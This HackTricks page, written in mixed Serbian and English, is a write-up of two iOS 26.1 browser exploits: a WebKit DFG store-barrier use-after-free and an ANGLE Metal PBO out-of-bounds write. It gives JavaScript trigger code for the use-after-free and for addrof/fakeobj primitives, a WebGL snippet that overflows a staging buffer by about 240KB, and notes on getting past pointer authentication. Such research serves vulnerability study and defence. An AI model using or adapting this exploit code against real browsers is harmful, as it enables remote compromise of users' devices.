WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Sažetak
- DFG Store Barrier bug (CVE-2025-43529): U
DFGStoreBarrierInsertionPhase.cpp, a Phi node marked escaped while its Upsilon inputs are not uzrokuje da faza skip inserting a write barrier na narednim object stores. Pod GC pritiskom ovo omogućava JSC da free-uje objekte koji su i dalje reachable → use-after-free. - Exploit target: Primorati Date objekat da materializuje butterfly (npr.
a[0] = 1.1) tako da butterfly bude freed, a zatim bude reclaimed kao storage za elemente niza da bi se izgradila boxed/unboxed konfuzija →addrof/fakeobjprimitive. - ANGLE Metal PBO bug (CVE-2025-14174): Metal backend alocira PBO staging buffer koristeći
UNPACK_IMAGE_HEIGHTumesto realne visine teksture. Davanje male unpack height pa pozivanje velikogtexImage2Dizaziva staging-buffer OOB write (~240KB u PoC-u ispod). - PAC blockers on arm64e (iOS 26.1): TypedArray
m_vectori JSArraybutterflysu PAC-signed; falsifikovanje fake objekata sa attacker-chosen pointerima izaziva crash saEXC_BAD_ACCESS/EXC_ARM_PAC. Jedino ponovna upotreba already-signed butterflies (boxed/unboxed reinterpretation) funkcioniše.
Okidanje DFG nedostatka barijere → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Key points:
- Postavite A u old space da bi se aktivirale generacione barijere.
- Kreirajte indeksirani Date tako da je butterfly cilj oslobađanja.
- Spray
ArrayBuffer(0x800000)da prisilite GC i proširite trku. - Neslaganje Phi/Upsilon escape sprečava umetanje barijere;
b.p1 = ase izvršava without a write barrier, pa GC oslobađaa/butterfly.
Oslobađanje butterfly → boxed/unboxed konfuzija
Nakon što GC oslobodi Date butterfly, spray arrays tako da se oslobođeni slab ponovo iskoristi kao elementi za dva arrays sa različitim element kinds:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Status na iOS 26.1 (arm64e):
- Radi:
addrof,fakeobj, 20+ address leaks per run, inline-slot read/write (na poznatim inline poljima). - Nije još stabilno: generalizovani
read64/write64putem inline-slot backings.
PAC ograničenja na arm64e (zašto fake objects izazivaju pad)
- TypedArray
m_vectori JSArraybutterflysu PAC-potpisani; falsifikovanje pokazivača dovodi doEXC_BAD_ACCESS/ verovatnoEXC_ARM_PAC. - The confusion primitive radi zato što reuses legitimate signed butterflies; uvođenje unsigned attacker pointers ne prolazi autentifikaciju.
- Napomene o mogućim bypass idejama: JIT putevi koji preskaču auth, gadgets koji sign attacker pointers, ili pivotiranje kroz ANGLE OOB.
ANGLE Metal PBO nedovoljna alokacija → OOB write
Koristite malu unpack height da smanjite staging buffer, zatim upload-ujte veliku texture tako da copy pređe granice:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Napomene:
- Bug u
TextureMtl.cpp: staging buffer koristiUNPACK_IMAGE_HEIGHTumesto stvarne visine teksture na PBO putanji. - U referentnoj sondi WebGL2 PBO okidač je povezan, ali još nije pouzdano uočen na iOS 26.1.
Reference
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


